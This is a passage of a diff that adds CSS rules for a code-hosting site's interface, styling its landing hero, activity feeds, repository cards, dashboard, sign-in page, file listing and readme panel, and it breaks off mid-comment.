| 739 | + | border-radius: var(--radius); | |
| 740 | + | background: var(--surface); | |
| 741 | + | overflow: hidden; | |
| 742 | + | } | |
| 743 | + | ||
| 744 | + | .hero-body { | |
| 745 | + | padding: 40px 40px 36px; | |
| 746 | + | } | |
| 747 | + | ||
| 748 | + | .hero-eyebrow { | |
| 749 | + | display: flex; | |
| 750 | + | align-items: center; | |
| 751 | + | gap: 8px; | |
| 752 | + | margin-bottom: 20px; | |
| 753 | + | } | |
| 754 | + | ||
| 755 | + | .pill-brand { | |
| 756 | + | display: inline-flex; | |
| 757 | + | align-items: center; | |
| 758 | + | height: 20px; | |
| 759 | + | padding: 0 6px; | |
| 760 | + | border-radius: var(--radius); | |
| 761 | + | background: var(--brand); | |
| 762 | + | color: var(--brand-ink); | |
| 763 | + | font-family: var(--font-mono); | |
| 764 | + | font-size: var(--text-xs); | |
| 765 | + | font-weight: 500; | |
| 766 | + | } | |
| 767 | + | ||
| 768 | + | .hero-title { | |
| 769 | + | font-size: var(--text-2xl); | |
| 770 | + | max-width: 20ch; | |
| 771 | + | margin: 0; | |
| 772 | + | text-wrap: balance; | |
| 773 | + | } | |
| 774 | + | ||
| 775 | + | .hero-lede { | |
| 776 | + | max-width: 54ch; | |
| 777 | + | margin: 24px 0 0; | |
| 778 | + | font-size: var(--text-md); | |
| 779 | + | line-height: 1.55; | |
| 780 | + | color: var(--text-dim); | |
| 781 | + | } | |
| 782 | + | ||
| 783 | + | .hero-actions { | |
| 784 | + | display: flex; | |
| 785 | + | flex-wrap: wrap; | |
| 786 | + | gap: 8px; | |
| 787 | + | margin-top: 28px; | |
| 788 | + | } | |
| 789 | + | ||
| 790 | + | .btn-lg { | |
| 791 | + | height: 38px; | |
| 792 | + | padding: 0 20px; | |
| 793 | + | } | |
| 794 | + | ||
| 795 | + | .hero .clone-box { | |
| 796 | + | margin-top: 24px; | |
| 797 | + | max-width: 54ch; | |
| 798 | + | } | |
| 799 | + | ||
| 800 | + | .ticker { | |
| 801 | + | display: flex; | |
| 802 | + | flex-wrap: wrap; | |
| 803 | + | gap: 4px 20px; | |
| 804 | + | padding: 10px 40px; | |
| 805 | + | } | |
| 806 | + | ||
| 807 | + | .ticker-item { | |
| 808 | + | display: flex; | |
| 809 | + | align-items: center; | |
| 810 | + | gap: 8px; | |
| 811 | + | font-family: var(--font-mono); | |
| 812 | + | font-size: var(--text-xs); | |
| 813 | + | color: var(--text-faint); | |
| 814 | + | white-space: nowrap; | |
| 815 | + | } | |
| 816 | + | ||
| 817 | + | .ticker-dot { | |
| 818 | + | color: var(--brand); | |
| 819 | + | } | |
| 820 | + | ||
| 821 | + | @media (max-width: 700px) { | |
| 822 | + | .hero-body { | |
| 823 | + | padding: 28px 20px 24px; | |
| 824 | + | } | |
| 825 | + | .ticker { | |
| 826 | + | padding: 10px 20px; | |
| 827 | + | } | |
| 828 | + | .hero-title { | |
| 829 | + | font-size: var(--text-xl); | |
| 830 | + | } | |
| 831 | + | } | |
| 832 | + | ||
| 833 | + | /* Two-column body shared by the landing page and the dashboard. */ | |
| 834 | + | .landing-columns { | |
| 835 | + | display: flex; | |
| 836 | + | flex-direction: column; | |
| 837 | + | gap: 32px; | |
| 838 | + | margin-top: 40px; | |
| 839 | + | } | |
| 840 | + | ||
| 841 | + | .landing-main { | |
| 842 | + | min-width: 0; | |
| 843 | + | flex: 1; | |
| 844 | + | display: flex; | |
| 845 | + | flex-direction: column; | |
| 846 | + | gap: 32px; | |
| 847 | + | } | |
| 848 | + | ||
| 849 | + | .landing-aside { | |
| 850 | + | width: 100%; | |
| 851 | + | flex-shrink: 0; | |
| 852 | + | display: flex; | |
| 853 | + | flex-direction: column; | |
| 854 | + | gap: 32px; | |
| 855 | + | } | |
| 856 | + | ||
| 857 | + | @media (min-width: 900px) { | |
| 858 | + | .landing-columns { | |
| 859 | + | flex-direction: row; | |
| 860 | + | } | |
| 861 | + | .landing-aside { | |
| 862 | + | width: 320px; | |
| 863 | + | } | |
| 864 | + | } | |
| 865 | + | ||
| 866 | + | .section-head { | |
| 867 | + | display: flex; | |
| 868 | + | align-items: baseline; | |
| 869 | + | justify-content: space-between; | |
| 870 | + | gap: 12px; | |
| 871 | + | border-bottom: 1px solid var(--border); | |
| 872 | + | padding-bottom: 8px; | |
| 873 | + | } | |
| 874 | + | ||
| 875 | + | .section-note { | |
| 876 | + | margin: 8px 0 12px; | |
| 877 | + | } | |
| 878 | + | ||
| 879 | + | /* ─── feed ─────────────────────────────────────────────────────────────────── */ | |
| 880 | + | ||
| 881 | + | .feed { | |
| 882 | + | list-style: none; | |
| 883 | + | margin: 8px 0 0; | |
| 884 | + | padding: 0; | |
| 885 | + | border: 1px solid var(--border); | |
| 886 | + | border-radius: var(--radius); | |
| 887 | + | } | |
| 888 | + | ||
| 889 | + | .feed-row { | |
| 890 | + | position: relative; | |
| 891 | + | display: flex; | |
| 892 | + | align-items: flex-start; | |
| 893 | + | gap: 12px; | |
| 894 | + | padding: 12px 12px 12px 16px; | |
| 895 | + | border-bottom: 1px solid var(--border); | |
| 896 | + | overflow: hidden; | |
| 897 | + | } | |
| 898 | + | ||
| 899 | + | .feed-row:last-child { | |
| 900 | + | border-bottom: none; | |
| 901 | + | } | |
| 902 | + | ||
| 903 | + | /* A hover rail rather than a background wash: it marks the row without | |
| 904 | + | changing the contrast of the text sitting on it. */ | |
| 905 | + | .feed-row::before { | |
| 906 | + | content: ""; | |
| 907 | + | position: absolute; | |
| 908 | + | inset-block: 0; | |
| 909 | + | left: 0; | |
| 910 | + | width: 2px; | |
| 911 | + | background: var(--brand); | |
| 912 | + | opacity: 0; | |
| 913 | + | transition: opacity 80ms ease-out; | |
| 914 | + | } | |
| 915 | + | ||
| 916 | + | .feed-row:hover::before { | |
| 917 | + | opacity: 1; | |
| 918 | + | } | |
| 919 | + | ||
| 920 | + | .feed-main { | |
| 921 | + | min-width: 0; | |
| 922 | + | flex: 1; | |
| 923 | + | } | |
| 924 | + | ||
| 925 | + | .feed-title { | |
| 926 | + | display: block; | |
| 927 | + | color: var(--text); | |
| 928 | + | font-weight: 500; | |
| 929 | + | overflow: hidden; | |
| 930 | + | text-overflow: ellipsis; | |
| 931 | + | white-space: nowrap; | |
| 932 | + | } | |
| 933 | + | ||
| 934 | + | .feed-title:hover { | |
| 935 | + | color: var(--brand); | |
| 936 | + | text-decoration: none; | |
| 937 | + | } | |
| 938 | + | ||
| 939 | + | .feed-meta { | |
| 940 | + | display: flex; | |
| 941 | + | flex-wrap: wrap; | |
| 942 | + | align-items: center; | |
| 943 | + | gap: 4px 8px; | |
| 944 | + | margin-top: 4px; | |
| 945 | + | font-size: var(--text-xs); | |
| 946 | + | color: var(--text-faint); | |
| 947 | + | } | |
| 948 | + | ||
| 949 | + | .feed-actor { | |
| 950 | + | color: var(--text-dim); | |
| 951 | + | font-weight: 500; | |
| 952 | + | } | |
| 953 | + | ||
| 954 | + | .feed-side { | |
| 955 | + | display: flex; | |
| 956 | + | flex-shrink: 0; | |
| 957 | + | flex-direction: column; | |
| 958 | + | align-items: flex-end; | |
| 959 | + | gap: 4px; | |
| 960 | + | } | |
| 961 | + | ||
| 962 | + | /* ─── activity ─────────────────────────────────────────────────────────────── */ | |
| 963 | + | ||
| 964 | + | .activity { | |
| 965 | + | list-style: none; | |
| 966 | + | margin: 4px 0 0; | |
| 967 | + | padding: 0; | |
| 968 | + | } | |
| 969 | + | ||
| 970 | + | .activity-row { | |
| 971 | + | display: flex; | |
| 972 | + | flex-wrap: wrap; | |
| 973 | + | align-items: baseline; | |
| 974 | + | gap: 0 6px; | |
| 975 | + | padding: 7px 0; | |
| 976 | + | border-bottom: 1px dashed var(--border); | |
| 977 | + | font-size: var(--text-sm); | |
| 978 | + | } | |
| 979 | + | ||
| 980 | + | .activity-row:last-child { | |
| 981 | + | border-bottom: none; | |
| 982 | + | } | |
| 983 | + | ||
| 984 | + | .activity-actor { | |
| 985 | + | color: var(--text); | |
| 986 | + | font-weight: 500; | |
| 987 | + | } | |
| 988 | + | ||
| 989 | + | .activity-when { | |
| 990 | + | margin-left: auto; | |
| 991 | + | font-size: var(--text-xs); | |
| 992 | + | } | |
| 993 | + | ||
| 994 | + | /* ─── comparison list ──────────────────────────────────────────────────────── */ | |
| 995 | + | ||
| 996 | + | .compare { | |
| 997 | + | list-style: none; | |
| 998 | + | margin: 12px 0 0; | |
| 999 | + | padding: 0; | |
| 1000 | + | display: flex; | |
| 1001 | + | flex-direction: column; | |
| 1002 | + | gap: 10px; | |
| 1003 | + | } | |
| 1004 | + | ||
| 1005 | + | .compare-item { | |
| 1006 | + | display: flex; | |
| 1007 | + | flex-direction: column; | |
| 1008 | + | gap: 4px; | |
| 1009 | + | padding: 12px; | |
| 1010 | + | border: 1px solid var(--border); | |
| 1011 | + | border-radius: var(--radius); | |
| 1012 | + | background: var(--surface); | |
| 1013 | + | } | |
| 1014 | + | ||
| 1015 | + | .compare-them, | |
| 1016 | + | .compare-us { | |
| 1017 | + | display: flex; | |
| 1018 | + | align-items: baseline; | |
| 1019 | + | gap: 8px; | |
| 1020 | + | font-size: var(--text-sm); | |
| 1021 | + | } | |
| 1022 | + | ||
| 1023 | + | .compare-them { | |
| 1024 | + | color: var(--text-faint); | |
| 1025 | + | text-decoration: line-through; | |
| 1026 | + | text-decoration-color: color-mix(in srgb, var(--conflict) 60%, transparent); | |
| 1027 | + | } | |
| 1028 | + | ||
| 1029 | + | .compare-us { | |
| 1030 | + | color: var(--text); | |
| 1031 | + | } | |
| 1032 | + | ||
| 1033 | + | .compare-sign { | |
| 1034 | + | font-family: var(--font-mono); | |
| 1035 | + | flex-shrink: 0; | |
| 1036 | + | } | |
| 1037 | + | ||
| 1038 | + | .compare-them .compare-sign { | |
| 1039 | + | color: var(--conflict); | |
| 1040 | + | } | |
| 1041 | + | ||
| 1042 | + | .compare-us .compare-sign { | |
| 1043 | + | color: var(--merged); | |
| 1044 | + | } | |
| 1045 | + | ||
| 1046 | + | /* ─── repo cards ───────────────────────────────────────────────────────────── */ | |
| 1047 | + | ||
| 1048 | + | .repo-cards { | |
| 1049 | + | display: flex; | |
| 1050 | + | flex-direction: column; | |
| 1051 | + | gap: 8px; | |
| 1052 | + | margin-top: 12px; | |
| 1053 | + | } | |
| 1054 | + | ||
| 1055 | + | .repo-card { | |
| 1056 | + | position: relative; | |
| 1057 | + | display: flex; | |
| 1058 | + | flex-direction: column; | |
| 1059 | + | gap: 6px; | |
| 1060 | + | padding: 12px 12px 12px 16px; | |
| 1061 | + | border: 1px solid var(--border); | |
| 1062 | + | border-radius: var(--radius); | |
| 1063 | + | background: var(--surface); | |
| 1064 | + | color: var(--text); | |
| 1065 | + | overflow: hidden; | |
| 1066 | + | } | |
| 1067 | + | ||
| 1068 | + | .repo-card:hover { | |
| 1069 | + | border-color: var(--border-strong); | |
| 1070 | + | text-decoration: none; | |
| 1071 | + | } | |
| 1072 | + | ||
| 1073 | + | .repo-card-rail { | |
| 1074 | + | position: absolute; | |
| 1075 | + | inset-block: 0; | |
| 1076 | + | left: 0; | |
| 1077 | + | width: 2px; | |
| 1078 | + | background: var(--brand); | |
| 1079 | + | opacity: 0; | |
| 1080 | + | transition: opacity 80ms ease-out; | |
| 1081 | + | } | |
| 1082 | + | ||
| 1083 | + | .repo-card:hover .repo-card-rail { | |
| 1084 | + | opacity: 1; | |
| 1085 | + | } | |
| 1086 | + | ||
| 1087 | + | .repo-card-name { | |
| 1088 | + | display: flex; | |
| 1089 | + | align-items: center; | |
| 1090 | + | gap: 6px; | |
| 1091 | + | font-size: var(--text-sm); | |
| 1092 | + | } | |
| 1093 | + | ||
| 1094 | + | .repo-card-repo { | |
| 1095 | + | font-weight: 500; | |
| 1096 | + | } | |
| 1097 | + | ||
| 1098 | + | .repo-card:hover .repo-card-repo { | |
| 1099 | + | color: var(--brand); | |
| 1100 | + | } | |
| 1101 | + | ||
| 1102 | + | .repo-card-desc { | |
| 1103 | + | font-size: var(--text-xs); | |
| 1104 | + | color: var(--text-dim); | |
| 1105 | + | } | |
| 1106 | + | ||
| 1107 | + | .repo-card-new { | |
| 1108 | + | padding: 9px 12px; | |
| 1109 | + | border: 1px dashed var(--border); | |
| 1110 | + | border-radius: var(--radius); | |
| 1111 | + | color: var(--text-dim); | |
| 1112 | + | font-size: var(--text-sm); | |
| 1113 | + | text-align: center; | |
| 1114 | + | } | |
| 1115 | + | ||
| 1116 | + | .repo-card-new:hover { | |
| 1117 | + | border-color: var(--brand); | |
| 1118 | + | color: var(--brand); | |
| 1119 | + | text-decoration: none; | |
| 1120 | + | } | |
| 1121 | + | ||
| 1122 | + | /* ─── call to action band ──────────────────────────────────────────────────── */ | |
| 1123 | + | ||
| 1124 | + | .cta-band { | |
| 1125 | + | margin-top: 48px; | |
| 1126 | + | padding: 44px 24px; | |
| 1127 | + | border: 1px solid var(--border); | |
| 1128 | + | border-radius: var(--radius); | |
| 1129 | + | background: var(--surface); | |
| 1130 | + | text-align: center; | |
| 1131 | + | } | |
| 1132 | + | ||
| 1133 | + | .cta-title { | |
| 1134 | + | margin: 0 auto; | |
| 1135 | + | max-width: 22ch; | |
| 1136 | + | font-size: var(--text-xl); | |
| 1137 | + | text-wrap: balance; | |
| 1138 | + | } | |
| 1139 | + | ||
| 1140 | + | .cta-lede { | |
| 1141 | + | margin: 16px auto 0; | |
| 1142 | + | max-width: 48ch; | |
| 1143 | + | font-size: var(--text-md); | |
| 1144 | + | color: var(--text-dim); | |
| 1145 | + | } | |
| 1146 | + | ||
| 1147 | + | .cta-actions { | |
| 1148 | + | justify-content: center; | |
| 1149 | + | } | |
| 1150 | + | ||
| 1151 | + | /* ─── dashboard header ─────────────────────────────────────────────────────── */ | |
| 1152 | + | ||
| 1153 | + | .dash-head { | |
| 1154 | + | display: flex; | |
| 1155 | + | flex-wrap: wrap; | |
| 1156 | + | align-items: flex-end; | |
| 1157 | + | justify-content: space-between; | |
| 1158 | + | gap: 12px; | |
| 1159 | + | padding-bottom: 16px; | |
| 1160 | + | border-bottom: 1px solid var(--border); | |
| 1161 | + | } | |
| 1162 | + | ||
| 1163 | + | .dash-title { | |
| 1164 | + | font-size: var(--text-lg); | |
| 1165 | + | margin: 0 0 4px; | |
| 1166 | + | } | |
| 1167 | + | ||
| 1168 | + | .dash-name { | |
| 1169 | + | color: var(--brand); | |
| 1170 | + | } | |
| 1171 | + | ||
| 1172 | + | /* The dashboard's own column block already sits under a header rule. */ | |
| 1173 | + | .dash-head + .landing-columns { | |
| 1174 | + | margin-top: 24px; | |
| 1175 | + | } | |
| 1176 | + | ||
| 1177 | + | /* ─── design system pages ──────────────────────────────────────────────────── */ | |
| 1178 | + | ||
| 1179 | + | .design-head, | |
| 1180 | + | .rationale > header { | |
| 1181 | + | padding-bottom: 20px; | |
| 1182 | + | border-bottom: 1px solid var(--border); | |
| 1183 | + | margin-bottom: 8px; | |
| 1184 | + | } | |
| 1185 | + | ||
| 1186 | + | .design-title { | |
| 1187 | + | margin: 0 0 6px; | |
| 1188 | + | font-size: var(--text-xl); | |
| 1189 | + | } | |
| 1190 | + | ||
| 1191 | + | .design-section { | |
| 1192 | + | padding: 28px 0; | |
| 1193 | + | border-bottom: 1px solid var(--border); | |
| 1194 | + | } | |
| 1195 | + | ||
| 1196 | + | .design-section:last-child { | |
| 1197 | + | border-bottom: none; | |
| 1198 | + | } | |
| 1199 | + | ||
| 1200 | + | .design-section-title { | |
| 1201 | + | margin: 0 0 16px; | |
| 1202 | + | font-size: var(--text-md); | |
| 1203 | + | } | |
| 1204 | + | ||
| 1205 | + | .design-row { | |
| 1206 | + | display: flex; | |
| 1207 | + | flex-wrap: wrap; | |
| 1208 | + | align-items: center; | |
| 1209 | + | gap: 10px; | |
| 1210 | + | margin-bottom: 12px; | |
| 1211 | + | } | |
| 1212 | + | ||
| 1213 | + | .swatch-group-title { | |
| 1214 | + | margin: 16px 0 8px; | |
| 1215 | + | font-family: var(--font-condensed); | |
| 1216 | + | font-size: var(--text-xs); | |
| 1217 | + | font-weight: 500; | |
| 1218 | + | letter-spacing: 0.08em; | |
| 1219 | + | text-transform: uppercase; | |
| 1220 | + | color: var(--text-dim); | |
| 1221 | + | } | |
| 1222 | + | ||
| 1223 | + | .swatches { | |
| 1224 | + | display: grid; | |
| 1225 | + | grid-template-columns: repeat(auto-fill, minmax(240px, 1fr)); | |
| 1226 | + | gap: 8px; | |
| 1227 | + | } | |
| 1228 | + | ||
| 1229 | + | .swatch { | |
| 1230 | + | display: flex; | |
| 1231 | + | align-items: center; | |
| 1232 | + | gap: 10px; | |
| 1233 | + | padding: 8px 10px; | |
| 1234 | + | border: 1px solid var(--border); | |
| 1235 | + | border-radius: var(--radius); | |
| 1236 | + | background: var(--surface); | |
| 1237 | + | font-size: var(--text-xs); | |
| 1238 | + | } | |
| 1239 | + | ||
| 1240 | + | /* Bordered so a swatch whose colour is close to the surface it sits on is | |
| 1241 | + | still legible as a swatch. */ | |
| 1242 | + | .swatch-chip { | |
| 1243 | + | width: 22px; | |
| 1244 | + | height: 22px; | |
| 1245 | + | flex-shrink: 0; | |
| 1246 | + | border: 1px solid var(--border-strong); | |
| 1247 | + | border-radius: var(--radius-sm); | |
| 1248 | + | } | |
| 1249 | + | ||
| 1250 | + | .swatch-name { | |
| 1251 | + | font-size: var(--text-xs); | |
| 1252 | + | } | |
| 1253 | + | ||
| 1254 | + | .type-specimens > * { | |
| 1255 | + | margin: 0 0 12px; | |
| 1256 | + | } | |
| 1257 | + | ||
| 1258 | + | .rationale { | |
| 1259 | + | max-width: 68ch; | |
| 1260 | + | } | |
| 1261 | + | ||
| 1262 | + | .rationale section { | |
| 1263 | + | margin-top: 28px; | |
| 1264 | + | } | |
| 1265 | + | ||
| 1266 | + | .rationale h2 { | |
| 1267 | + | font-size: var(--text-md); | |
| 1268 | + | margin-bottom: 8px; | |
| 1269 | + | } | |
| 1270 | + | ||
| 1271 | + | .rationale p { | |
| 1272 | + | line-height: 1.6; | |
| 1273 | + | margin: 0 0 12px; | |
| 1274 | + | } | |
| 1275 | + | ||
| 1276 | + | /* ─── repository header ────────────────────────────────────────────────────── */ | |
| 1277 | + | ||
| 1278 | + | .repo-head { | |
| 1279 | + | margin-bottom: 20px; | |
| 1280 | + | } | |
| 1281 | + | ||
| 1282 | + | .repo-title { | |
| 1283 | + | display: flex; | |
| 1284 | + | align-items: baseline; | |
| 1285 | + | gap: 6px; | |
| 1286 | + | margin: 0; | |
| 1287 | + | font-family: var(--font-condensed); | |
| 1288 | + | font-size: var(--text-lg); | |
| 1289 | + | } | |
| 1290 | + | ||
| 1291 | + | .repo-owner { | |
| 1292 | + | font-weight: 600; | |
| 1293 | + | color: var(--text-dim); | |
| 1294 | + | } | |
| 1295 | + | ||
| 1296 | + | .repo-owner:hover { | |
| 1297 | + | color: var(--text); | |
| 1298 | + | text-decoration: none; | |
| 1299 | + | } | |
| 1300 | + | ||
| 1301 | + | .repo-slash { | |
| 1302 | + | color: var(--brand); | |
| 1303 | + | user-select: none; | |
| 1304 | + | } | |
| 1305 | + | ||
| 1306 | + | .repo-name { | |
| 1307 | + | font-weight: 700; | |
| 1308 | + | color: var(--text); | |
| 1309 | + | } | |
| 1310 | + | ||
| 1311 | + | .repo-name:hover { | |
| 1312 | + | color: var(--brand); | |
| 1313 | + | text-decoration: none; | |
| 1314 | + | } | |
| 1315 | + | ||
| 1316 | + | .repo-desc { | |
| 1317 | + | margin: 8px 0 0; | |
| 1318 | + | } | |
| 1319 | + | ||
| 1320 | + | .repo-tabs { | |
| 1321 | + | margin-top: 14px; | |
| 1322 | + | margin-bottom: 0; | |
| 1323 | + | } | |
| 1324 | + | ||
| 1325 | + | /* Pushed to the end of the tab strip rather than floated, so it keeps its | |
| 1326 | + | place in the tab order. */ | |
| 1327 | + | .subtabs-end { | |
| 1328 | + | margin-left: auto; | |
| 1329 | + | } | |
| 1330 | + | ||
| 1331 | + | /* ─── sign in ──────────────────────────────────────────────────────────────── */ | |
| 1332 | + | ||
| 1333 | + | .signin { | |
| 1334 | + | max-width: 380px; | |
| 1335 | + | margin: 48px auto; | |
| 1336 | + | display: flex; | |
| 1337 | + | flex-direction: column; | |
| 1338 | + | gap: 24px; | |
| 1339 | + | } | |
| 1340 | + | ||
| 1341 | + | .signin-intro { | |
| 1342 | + | display: flex; | |
| 1343 | + | flex-direction: column; | |
| 1344 | + | gap: 8px; | |
| 1345 | + | } | |
| 1346 | + | ||
| 1347 | + | .signin-eyebrow { | |
| 1348 | + | color: var(--brand); | |
| 1349 | + | } | |
| 1350 | + | ||
| 1351 | + | .signin-title { | |
| 1352 | + | margin: 0; | |
| 1353 | + | font-size: var(--text-xl); | |
| 1354 | + | text-wrap: balance; | |
| 1355 | + | } | |
| 1356 | + | ||
| 1357 | + | .btn-block { | |
| 1358 | + | display: flex; | |
| 1359 | + | justify-content: center; | |
| 1360 | + | width: 100%; | |
| 1361 | + | height: 38px; | |
| 1362 | + | } | |
| 1363 | + | ||
| 1364 | + | /* A control that is present but not offered. Not a `<button disabled>` because | |
| 1365 | + | it is a `<span>` — there is nothing to submit, and nothing to focus. */ | |
| 1366 | + | .is-disabled { | |
| 1367 | + | opacity: 0.5; | |
| 1368 | + | cursor: not-allowed; | |
| 1369 | + | } | |
| 1370 | + | ||
| 1371 | + | .is-disabled:hover { | |
| 1372 | + | border-color: var(--border-strong); | |
| 1373 | + | } | |
| 1374 | + | ||
| 1375 | + | .signin-or { | |
| 1376 | + | display: flex; | |
| 1377 | + | align-items: center; | |
| 1378 | + | gap: 12px; | |
| 1379 | + | } | |
| 1380 | + | ||
| 1381 | + | .signin-rule { | |
| 1382 | + | flex: 1; | |
| 1383 | + | height: 1px; | |
| 1384 | + | background: var(--border); | |
| 1385 | + | } | |
| 1386 | + | ||
| 1387 | + | .signin-foot { | |
| 1388 | + | margin: 0; | |
| 1389 | + | text-align: center; | |
| 1390 | + | } | |
| 1391 | + | ||
| 1392 | + | /* ─── segmented control ────────────────────────────────────────────────────── */ | |
| 1393 | + | ||
| 1394 | + | /* Two links styled as one control. Links rather than buttons because each half | |
| 1395 | + | is a real, addressable URL — see `blob_view`. */ | |
| 1396 | + | .segmented { | |
| 1397 | + | display: inline-flex; | |
| 1398 | + | overflow: hidden; | |
| 1399 | + | border: 1px solid var(--border); | |
| 1400 | + | border-radius: var(--radius); | |
| 1401 | + | } | |
| 1402 | + | ||
| 1403 | + | .segmented-item { | |
| 1404 | + | padding: 3px 10px; | |
| 1405 | + | font-size: var(--text-xs); | |
| 1406 | + | font-weight: 500; | |
| 1407 | + | color: var(--text-dim); | |
| 1408 | + | } | |
| 1409 | + | ||
| 1410 | + | .segmented-item + .segmented-item { | |
| 1411 | + | border-left: 1px solid var(--border); | |
| 1412 | + | } | |
| 1413 | + | ||
| 1414 | + | .segmented-item:hover { | |
| 1415 | + | background: var(--surface-raised); | |
| 1416 | + | color: var(--text); | |
| 1417 | + | text-decoration: none; | |
| 1418 | + | } | |
| 1419 | + | ||
| 1420 | + | .segmented-item.is-on { | |
| 1421 | + | background: var(--brand); | |
| 1422 | + | color: var(--brand-ink); | |
| 1423 | + | } | |
| 1424 | + | ||
| 1425 | + | .segmented-item.is-on:hover { | |
| 1426 | + | background: var(--brand); | |
| 1427 | + | color: var(--brand-ink); | |
| 1428 | + | } | |
| 1429 | + | ||
| 1430 | + | /* ─── file listing ─────────────────────────────────────────────────────────── */ | |
| 1431 | + | ||
| 1432 | + | .avatar { | |
| 1433 | + | display: inline-flex; | |
| 1434 | + | align-items: center; | |
| 1435 | + | justify-content: center; | |
| 1436 | + | flex-shrink: 0; | |
| 1437 | + | width: 20px; | |
| 1438 | + | height: 20px; | |
| 1439 | + | border: 1px solid var(--border-strong); | |
| 1440 | + | border-radius: var(--radius); | |
| 1441 | + | background: var(--surface); | |
| 1442 | + | color: var(--text-dim); | |
| 1443 | + | font-family: var(--font-mono); | |
| 1444 | + | font-size: var(--text-xs); | |
| 1445 | + | font-weight: 500; | |
| 1446 | + | text-transform: uppercase; | |
| 1447 | + | user-select: none; | |
| 1448 | + | } | |
| 1449 | + | ||
| 1450 | + | .tree-crumbs { | |
| 1451 | + | margin-bottom: 14px; | |
| 1452 | + | flex-wrap: wrap; | |
| 1453 | + | } | |
| 1454 | + | ||
| 1455 | + | /* The tip-of-branch bar. Sits directly on top of the listing and shares its | |
| 1456 | + | border, so the two read as one object. */ | |
| 1457 | + | .commit-bar { | |
| 1458 | + | display: flex; | |
| 1459 | + | align-items: center; | |
| 1460 | + | gap: 10px; | |
| 1461 | + | padding: 8px 12px; | |
| 1462 | + | border: 1px solid var(--border); | |
| 1463 | + | border-radius: var(--radius) var(--radius) 0 0; | |
| 1464 | + | background: var(--surface); | |
| 1465 | + | font-size: var(--text-sm); | |
| 1466 | + | } | |
| 1467 | + | ||
| 1468 | + | .commit-bar-author { | |
| 1469 | + | font-weight: 500; | |
| 1470 | + | flex-shrink: 0; | |
| 1471 | + | } | |
| 1472 | + | ||
| 1473 | + | .commit-bar-msg { | |
| 1474 | + | min-width: 0; | |
| 1475 | + | flex: 1; | |
| 1476 | + | color: var(--text-dim); | |
| 1477 | + | overflow: hidden; | |
| 1478 | + | text-overflow: ellipsis; | |
| 1479 | + | white-space: nowrap; | |
| 1480 | + | } | |
| 1481 | + | ||
| 1482 | + | .commit-bar-chip, | |
| 1483 | + | .commit-bar-when { | |
| 1484 | + | flex-shrink: 0; | |
| 1485 | + | } | |
| 1486 | + | ||
| 1487 | + | @media (max-width: 620px) { | |
| 1488 | + | .commit-bar-chip { | |
| 1489 | + | display: none; | |
| 1490 | + | } | |
| 1491 | + | } | |
| 1492 | + | ||
| 1493 | + | .filelist { | |
| 1494 | + | border: 1px solid var(--border); | |
| 1495 | + | border-top: none; | |
| 1496 | + | border-radius: 0 0 var(--radius) var(--radius); | |
| 1497 | + | overflow: hidden; | |
| 1498 | + | } | |
| 1499 | + | ||
| 1500 | + | /* When there is no commit bar above it, the listing is the whole object and | |
| 1501 | + | needs its own top edge back. */ | |
| 1502 | + | .filelist-standalone { | |
| 1503 | + | border-top: 1px solid var(--border); | |
| 1504 | + | border-radius: var(--radius); | |
| 1505 | + | } | |
| 1506 | + | ||
| 1507 | + | .filelist table { | |
| 1508 | + | width: 100%; | |
| 1509 | + | border-collapse: collapse; | |
| 1510 | + | } | |
| 1511 | + | ||
| 1512 | + | .filelist tr { | |
| 1513 | + | border-bottom: 1px solid var(--border); | |
| 1514 | + | } | |
| 1515 | + | ||
| 1516 | + | .filelist tr:last-child { | |
| 1517 | + | border-bottom: none; | |
| 1518 | + | } | |
| 1519 | + | ||
| 1520 | + | .filelist tr:hover { | |
| 1521 | + | background: var(--surface); | |
| 1522 | + | } | |
| 1523 | + | ||
| 1524 | + | .filelist td { | |
| 1525 | + | padding: 6px 12px 6px 0; | |
| 1526 | + | vertical-align: middle; | |
| 1527 | + | } | |
| 1528 | + | ||
| 1529 | + | .filelist-icon { | |
| 1530 | + | width: 1px; | |
| 1531 | + | padding-left: 12px !important; | |
| 1532 | + | padding-right: 8px !important; | |
| 1533 | + | line-height: 0; | |
| 1534 | + | } | |
| 1535 | + | ||
| 1536 | + | .icon-dir { | |
| 1537 | + | color: var(--brand); | |
| 1538 | + | } | |
| 1539 | + | ||
| 1540 | + | .icon-file { | |
| 1541 | + | color: var(--text-faint); | |
| 1542 | + | } | |
| 1543 | + | ||
| 1544 | + | .filelist-name { | |
| 1545 | + | max-width: 0; | |
| 1546 | + | } | |
| 1547 | + | ||
| 1548 | + | .filelist-name a { | |
| 1549 | + | color: var(--text); | |
| 1550 | + | overflow: hidden; | |
| 1551 | + | text-overflow: ellipsis; | |
| 1552 | + | white-space: nowrap; | |
| 1553 | + | display: inline-block; | |
| 1554 | + | max-width: 100%; | |
| 1555 | + | vertical-align: bottom; | |
| 1556 | + | } | |
| 1557 | + | ||
| 1558 | + | .filelist-name a.is-dir { | |
| 1559 | + | font-weight: 500; | |
| 1560 | + | } | |
| 1561 | + | ||
| 1562 | + | .filelist tr:hover .filelist-name a { | |
| 1563 | + | color: var(--brand); | |
| 1564 | + | text-decoration: underline; | |
| 1565 | + | } | |
| 1566 | + | ||
| 1567 | + | .filelist-note { | |
| 1568 | + | margin-left: 8px; | |
| 1569 | + | font-size: var(--text-xs); | |
| 1570 | + | } | |
| 1571 | + | ||
| 1572 | + | .filelist-size { | |
| 1573 | + | width: 100px; | |
| 1574 | + | text-align: right; | |
| 1575 | + | white-space: nowrap; | |
| 1576 | + | font-size: var(--text-xs); | |
| 1577 | + | } | |
| 1578 | + | ||
| 1579 | + | /* ─── readme ───────────────────────────────────────────────────────────────── */ | |
| 1580 | + | ||
| 1581 | + | .readme { | |
| 1582 | + | margin-top: 24px; | |
| 1583 | + | border: 1px solid var(--border); | |
| 1584 | + | border-radius: var(--radius); | |
| 1585 | + | } | |
| 1586 | + | ||
| 1587 | + | .readme-head { | |
| 1588 | + | display: flex; | |
| 1589 | + | align-items: center; | |
| 1590 | + | gap: 8px; | |
| 1591 | + | padding: 8px 16px; | |
| 1592 | + | border-bottom: 1px solid var(--border); | |
| 1593 | + | background: var(--surface); | |
| 1594 | + | line-height: 1; | |
| 1595 | + | } | |
| 1596 | + | ||
| 1597 | + | .readme-body { | |
| 1598 | + | padding: 16px 20px; | |
| 1599 | + | } | |
| 1600 | + | ||
| 1601 | + | .readme-body > :first-child { | |
| 1602 | + | margin-top: 0; | |
| 1603 | + | } | |
| 1604 | + | ||
| 1605 | + | .readme-body > :last-child { | |
| 1606 | + | margin-bottom: 0; | |
| 1607 | + | } | |
| 1608 | + | ||
| 1609 | + | /* Typography for rendered markdown: READMEs, issue/change descriptions, and | |
